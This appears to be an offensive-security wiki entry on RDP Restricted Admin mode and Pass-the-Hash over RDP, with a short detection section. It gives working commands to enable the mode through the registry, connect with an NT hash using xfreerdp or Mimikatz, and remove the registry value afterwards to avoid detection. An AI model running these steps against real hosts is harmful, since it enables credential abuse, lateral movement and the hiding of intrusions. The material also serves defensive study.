RDP Restricted Admin Mode

Restricted Admin mode is an RDP logon mode Microsoft introduced (Windows 8.1 / Server 2012 R2, later backported to Windows 7 / 2008 R2) to reduce credential exposure: instead of an interactive logon that caches reusable credentials in LSASS on the remote host, it performs a network (Type 3) logon — the same logon class as mounting an SMB share. No plaintext password is sent, and no reusable credential material lands on the target.

The side effect is famous: because the server only needs to verify the NTLM response, an NT hash alone is sufficient — Restricted Admin mode is what makes Pass-the-Hash over RDP possible. A defense feature became an attack primitive (MITRE ATT&CK T1550.002 — Use Alternate Authentication Material: Pass the Hash).

The DisableRestrictedAdmin registry value

Controlled at HKLM\System\CurrentControlSet\Control\Lsa with a REG_DWORD named DisableRestrictedAdmin. The naming is backwards from intuition:

Value	Meaning
0 (value present)	Restricted Admin mode enabled — PtH-over-RDP works
1, or value absent	Disabled (default on most builds)

An attacker who already has local admin (via Evil-WinRM, psexec, WMI — see wmi-remote-service-execution) can flip it on without a reboot:

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -PropertyType DWORD -Force

Or remotely via reg add:

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Query first to avoid unnecessary changes: reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin → 0x0 means already enabled.

Connecting with a hash

xfreerdp /v:<target> /u:<user> /pth:<NT_HASH> /cert:ignore

Or from Windows with Mimikatz injecting the hash into a session that launches mstsc.exe /restrictedadmin:

sekurlsa::pth /user:Administrator /domain:CORP /ntlm:<hash> /run:"mstsc.exe /restrictedadmin"

Note the flag lives on the client (mstsc /restrictedadmin) while the server gates acceptance via the registry value — both sides must cooperate.

Detection and cleanup

• Event 4624 Logon Type 3 for an RDP session (instead of the normal Type 10 RemoteInteractive) is the tell — correlate network logons against active RDP sessions.
• The registry write itself is auditable: Sysmon EID 12/13 (registry value set) on ...\Control\Lsa\DisableRestrictedAdmin, and Security EID 4657 if SACLs are configured. Configuration-drift tooling flags it reliably, so attackers clean up afterwards: Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin".
• The sibling value DisableRestrictedAdminOutboundCreds controls whether a Restricted-Admin-connected user can onward-authenticate to other resources with the machine account — relevant to containing hop chains.

Related

• ntlm-relay-attacks — other ways NTLM material gets reused across the network
• windows-registry-powershell — navigating HKLM: and writing registry values from PowerShell
• windows-reconnaissance-commands — checking RDP/session state during post-exploitation
• disable-microsoft-defender — same class of post-admin registry/config manipulation

Sources

• Microsoft Learn — Remote Desktop Services: Enable Restricted Admin mode
• Microsoft Learn — Restricted Admin mode for RDP in Windows 7 / 2008 R2
• MITRE ATT&CK T1550.002 — Pass the Hash